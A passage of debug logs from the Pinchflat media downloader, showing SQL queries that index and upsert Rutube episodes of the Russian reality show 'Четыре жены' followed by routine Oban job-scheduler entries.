6363, false, "https://rutube.ru/video/bc51abdf2c419e1d28acbdbf0f08138c/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e072500 - Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда.mp4", false, 6, ~U[2024-07-25 14:40:20Z]] 20:59:41.581 [debug] QUERY OK source="sources" db=1.7ms idle=78.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:41.582 [debug] QUERY OK source="media_items" db=0.2ms idle=77.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-01 14:30:11Z], 6] 20:59:41.657 [debug] QUERY OK source="media_items" db=74.2ms idle=77.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Жёны расскажут друг другу о своей семейной жизни. Участницы выяснят, действительно ли Олеся из Омска является женой-братаном, Анна из Геленджика – проработанной женой, Александра из Петрозаводска – женой, которой всё надо, а Ольга из Москвы – женой на кипише. Что девушки скажут о хозяйственности и самореализации конкуренток, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш", "8f3618db-c219-4b7b-89e6-8587f6302147", "5ee79bc88186c6a0e98f89857744957b", 6303, false, "https://rutube.ru/video/5ee79bc88186c6a0e98f89857744957b/", 22, "/downloads/rutubeShows/4 жены/Season 2024/s2024e080100 - Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш.mp4", false, false, false, 6, [], 1, ~U[2024-08-01 14:30:11Z], ~U[2025-12-09 17:59:41Z], ~U[2025-12-09 17:59:41Z], "Жёны расскажут друг другу о своей семейной жизни. Участницы выяснят, действительно ли Олеся из Омска является женой-братаном, Анна из Геленджика – проработанной женой, Александра из Петрозаводска – женой, которой всё надо, а Ольга из Москвы – женой на кипише. Что девушки скажут о хозяйственности и самореализации конкуренток, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш", "5ee79bc88186c6a0e98f89857744957b", 6303, false, "https://rutube.ru/video/5ee79bc88186c6a0e98f89857744957b/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e080100 - Четыре жены 2: Жена-братан, проработанная жена, жена, которой всё надо, жена-кипиш.mp4", false, 6, ~U[2024-08-01 14:30:11Z]] 20:59:41.659 [debug] QUERY OK source="sources" db=1.0ms idle=128.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:41.659 [debug] QUERY OK source="media_items" db=0.4ms idle=80.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-08 14:20:12Z], 6] 20:59:41.719 [debug] QUERY OK source="media_items" db=59.2ms idle=78.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Оценивать гостеприимство своих соперниц будут жена-мать Елена из Сочи, жена-панк Наталья из Апатитов, опытная жена Полина из Тюмени и жена-трудоголик Анастасия из Москвы. Кто из девушек получит большее количество баллов и победит, покажет программа «Четыре жены».", "Четыре жены 2: Жена-мать, панк, опытная, трудоголик", "e82893b6-bec3-4d2c-8503-5d4db0843706", "72516321a5ca53fcc0d36b2ea97272c8", 6280, false, "https://rutube.ru/video/72516321a5ca53fcc0d36b2ea97272c8/", 23, "/downloads/rutubeShows/4 жены/Season 2024/s2024e080800 - Четыре жены 2: Жена-мать, панк, опытная, трудоголик.mp4", false, false, false, 6, [], 1, ~U[2024-08-08 14:20:12Z], ~U[2025-12-09 17:59:41Z], ~U[2025-12-09 17:59:41Z], "Оценивать гостеприимство своих соперниц будут жена-мать Елена из Сочи, жена-панк Наталья из Апатитов, опытная жена Полина из Тюмени и жена-трудоголик Анастасия из Москвы. Кто из девушек получит большее количество баллов и победит, покажет программа «Четыре жены».", "Четыре жены 2: Жена-мать, панк, опытная, трудоголик", "72516321a5ca53fcc0d36b2ea97272c8", 6280, false, "https://rutube.ru/video/72516321a5ca53fcc0d36b2ea97272c8/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e080800 - Четыре жены 2: Жена-мать, панк, опытная, трудоголик.mp4", false, 6, ~U[2024-08-08 14:20:12Z]] 20:59:41.725 [debug] QUERY OK source="sources" db=2.4ms idle=140.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:41.727 [debug] QUERY OK source="media_items" db=1.0ms idle=69.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-15 14:20:11Z], 6] 20:59:41.781 [debug] QUERY OK source="media_items" db=52.2ms idle=69.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие хлебосольная жена Юлия из Зеленограда, жена-спасатель Анжела из Красноярска, жена-йогиня Аида из Казани и ленивая жена Ирина из Воронежа. Кому удастся произвести самое приятное впечатление на соперниц, увидим в программе «Четыре жены».", "Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель", "0945f98d-7a4b-430d-a604-fd859b951d77", "f5d66f7d3aa23630fbc0032d2125e993", 6038, false, "https://rutube.ru/video/f5d66f7d3aa23630fbc0032d2125e993/", 24, "/downloads/rutubeShows/4 жены/Season 2024/s2024e081500 - Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель.mp4", false, false, false, 6, [], 1, ~U[2024-08-15 14:20:11Z], ~U[2025-12-09 17:59:41Z], ~U[2025-12-09 17:59:41Z], "В этом выпуске примут участие хлебосольная жена Юлия из Зеленограда, жена-спасатель Анжела из Красноярска, жена-йогиня Аида из Казани и ленивая жена Ирина из Воронежа. Кому удастся произвести самое приятное впечатление на соперниц, увидим в программе «Четыре жены».", "Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель", "f5d66f7d3aa23630fbc0032d2125e993", 6038, false, "https://rutube.ru/video/f5d66f7d3aa23630fbc0032d2125e993/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e081500 - Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель.mp4", false, 6, ~U[2024-08-15 14:20:11Z]] 20:59:41.789 [debug] QUERY OK source="sources" db=7.2ms queue=0.1ms idle=122.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:41.789 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=69.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-10 17:00:39Z], 6] 20:59:41.814 [debug] QUERY OK source="media_items" db=22.7ms idle=65.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие жена миллионера Ирина, жена-выскочка Александра, «правильная» жена Диана и «психанутая» жена Елизавета. Как девушки будут проявлять свою хозяйственность, делиться самореализацией и показывать отношения с мужем, увидим в программе «Четыре жены».", "Четыре жены: Жена миллионера, выскочка, правильная, психанутая", "af4c1d65-0fae-45f1-a141-cd7dc152ada2", "a544025693d94614b697556f6a939463", 6105, false, "https://rutube.ru/video/a544025693d94614b697556f6a939463/", 25, "/downloads/rutubeShows/4 жены/Season 2025/s2025e071000 - Четыре жены: Жена миллионера, выскочка, правильная, психанутая.mp4", false, false, false, 6, [], 1, ~U[2025-07-10 17:00:39Z], ~U[2025-12-09 17:59:41Z], ~U[2025-12-09 17:59:41Z], "В этом выпуске примут участие жена миллионера Ирина, жена-выскочка Александра, «правильная» жена Диана и «психанутая» жена Елизавета. Как девушки будут проявлять свою хозяйственность, делиться самореализацией и показывать отношения с мужем, увидим в программе «Четыре жены».", "Четыре жены: Жена миллионера, выскочка, правильная, психанутая", "a544025693d94614b697556f6a939463", 6105, false, "https://rutube.ru/video/a544025693d94614b697556f6a939463/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e071000 - Четыре жены: Жена миллионера, выскочка, правильная, психанутая.mp4", false, 6, ~U[2025-07-10 17:00:39Z]] 20:59:41.815 [debug] QUERY OK source="sources" db=1.1ms idle=86.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:41.816 [debug] QUERY OK source="media_items" db=0.4ms idle=35.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-17 16:00:08Z], 6] 20:59:42.035 [debug] QUERY OK source="media_items" db=218.2ms idle=28.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены побывают друг у друга в гостях. Анастасия из Москвы проявит себя как энергичная жена. Лера из Санкт-Петербурга погрузит участниц в мир своих фантазий. Мария из Москвы покажет, как ей удаётся быть женой-суперзвездой. А Диана из станицы Северской расскажет, почему считает себя женой-штурманом. Смотрите программу «Четыре жены»!", "Четыре жены, 2 сезон, 16 выпуск", "a8a41ca1-69e8-48cb-9bde-74e552161198", "b6c847cab459fda2f4c39486fb8c0320", 6281, false, "https://rutube.ru/video/b6c847cab459fda2f4c39486fb8c0320/", 26, "/downloads/rutubeShows/4 жены/Season 2025/s2025e071700 - Четыре жены, 2 сезон, 16 выпуск.mp4", false, false, false, 6, [], 1, ~U[2025-07-17 16:00:08Z], ~U[2025-12-09 17:59:41Z], ~U[2025-12-09 17:59:41Z], "Четыре жены побывают друг у друга в гостях. Анастасия из Москвы проявит себя как энергичная жена. Лера из Санкт-Петербурга погрузит участниц в мир своих фантазий. Мария из Москвы покажет, как ей удаётся быть женой-суперзвездой. А Диана из станицы Северской расскажет, почему считает себя женой-штурманом. Смотрите программу «Четыре жены»!", "Четыре жены, 2 сезон, 16 выпуск", "b6c847cab459fda2f4c39486fb8c0320", 6281, false, "https://rutube.ru/video/b6c847cab459fda2f4c39486fb8c0320/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e071700 - Четыре жены, 2 сезон, 16 выпуск.mp4", false, 6, ~U[2025-07-17 16:00:08Z]] 20:59:42.044 [debug] QUERY OK source="sources" db=6.6ms queue=0.1ms idle=247.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:42.044 [debug] QUERY OK source="media_items" db=0.5ms idle=230.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-31 12:30:11Z], 6] 20:59:42.120 [debug] QUERY OK source="media_items" db=75.1ms idle=229.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Звёздные участницы пригласят друг друга в гости. Надёжная жена Леся Ярославская, ненапряжная Анна Боронина, стремящаяся к гармонии Ирина Забияка и веселушка-хохотушка Розалия Кабанова покажут, насколько они гостеприимны. Смотрите звёздный выпуск программы «Четыре жены»!", "Четыре жены: Поющие жены", "8f6edd57-5897-468c-8b4b-560ff6cba739", "62dc7e86c11b87498c6d744d23e9cd92", 8000, false, "https://rutube.ru/video/62dc7e86c11b87498c6d744d23e9cd92/", 27, "/downloads/rutubeShows/4 жены/Season 2025/s2025e073100 - Четыре жены: Поющие жены.mp4", false, false, false, 6, [], 1, ~U[2025-07-31 12:30:11Z], ~U[2025-12-09 17:59:42Z], ~U[2025-12-09 17:59:42Z], "Звёздные участницы пригласят друг друга в гости. Надёжная жена Леся Ярославская, ненапряжная Анна Боронина, стремящаяся к гармонии Ирина Забияка и веселушка-хохотушка Розалия Кабанова покажут, насколько они гостеприимны. Смотрите звёздный выпуск программы «Четыре жены»!", "Четыре жены: Поющие жены", "62dc7e86c11b87498c6d744d23e9cd92", 8000, false, "https://rutube.ru/video/62dc7e86c11b87498c6d744d23e9cd92/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e073100 - Четыре жены: Поющие жены.mp4", false, 6, ~U[2025-07-31 12:30:11Z]] 20:59:42.122 [debug] QUERY OK source="sources" db=1.4ms idle=304.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:42.123 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=87.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-02 12:40:40Z], 6] 20:59:42.226 [debug] QUERY OK source="media_items" db=100.7ms idle=79.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В звёздном выпуске «Четырёх жён» участницы покажут, как им удаётся совмещают карьеру и семейную жизнь. Позовут друг друга в гости жена-партнёр Виктория Дмитриева, жена-принцесса Дана Борисова, жена с изюминкой Ассоль и самостоятельная жена Евгения Кривцова. Как пройдут знакомства девушек с семьями конкуренток, увидим в программе «Четыре жены».", "Четыре жены: Жена-принцесса, партнер, самостоятельная, с изюминкой", "8fe5a33f-47a2-4882-9c8f-26fdc02870d1", "bbb88ae47bc4a00618ebfb693b35f822", 8768, false, "https://rutube.ru/video/bbb88ae47bc4a00618ebfb693b35f822/", 28, "/downloads/rutubeShows/4 жены/Season 2025/s2025e100200 - Четыре жены: Жена-принцесса, партнер, самостоятельная, с изюминкой.mp4", false, false, false, 6, [], 1, ~U[2025-10-02 12:40:40Z], ~U[2025-12-09 17:59:42Z], ~U[2025-12-09 17:59:42Z], "В звёздном выпуске «Четырёх жён» участницы покажут, как им удаётся совмещают карьеру и семейную жизнь. Позовут друг друга в гости жена-партнёр Виктория Дмитриева, жена-принцесса Дана Борисова, жена с изюминкой Ассоль и самостоятельная жена Евгения Кривцова. Как пройдут знакомства девушек с семьями конкуренток, увидим в программе «Четыре жены».", "Четыре жены: Жена-принцесса, партнер, самостоятельная, с изюминкой", "bbb88ae47bc4a00618ebfb693b35f822", 8768, false, "https://rutube.ru/video/bbb88ae47bc4a00618ebfb693b35f822/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e100200 - Четыре жены: Жена-принцесса, партнер, самостоятельная, с изюминкой.mp4", false, 6, ~U[2025-10-02 12:40:40Z]] 20:59:42.254 [debug] QUERY OK source="sources" db=25.8ms queue=0.4ms idle=183.3ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2025-12-09 17:59:42Z], ~U[2025-12-09 17:59:42Z], 6] 20:59:42.260 [debug] QUERY OK source="media_items" db=4.8ms queue=0.1ms idle=135.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 20:59:42.263 [debug] QUERY OK source="media_items" db=1.0ms queue=0.3ms idle=139.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 20:59:42.264 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=140.7ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 20:59:42.330 [debug] QUERY OK source="tasks" db=28.8ms idle=40.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2222, 6, ~U[2025-12-09 17:59:42Z], ~U[2025-12-09 17:59:42Z]] 20:59:42.360 [info] {"args":{"id":6},"id":2215,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":18882511,"event":"job:stop","attempt":1,"queue_time":57165,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 21:00:00.564 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:00:11.128 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:41.130 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.567 [info] {"source":"oban","duration":3006,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:01:11.132 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:41.135 [info] {"source":"oban","duration":2022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.571 [info] {"source":"oban","duration":3226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:02:11.137 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:41.139 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.575 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:03:11.141 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:41.143 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.576 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:04:11.145 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:41.147 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.579 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:05:11.149 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:41.151 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.580 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:06:11.153 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:41.155 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.581 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:07:11.157 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:41.159 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.583 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:08:11.161 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:41.163 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.590 [info] {"source":"oban","duration":6105,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:09:11.165 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:41.168 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.592 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:10:11.169 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 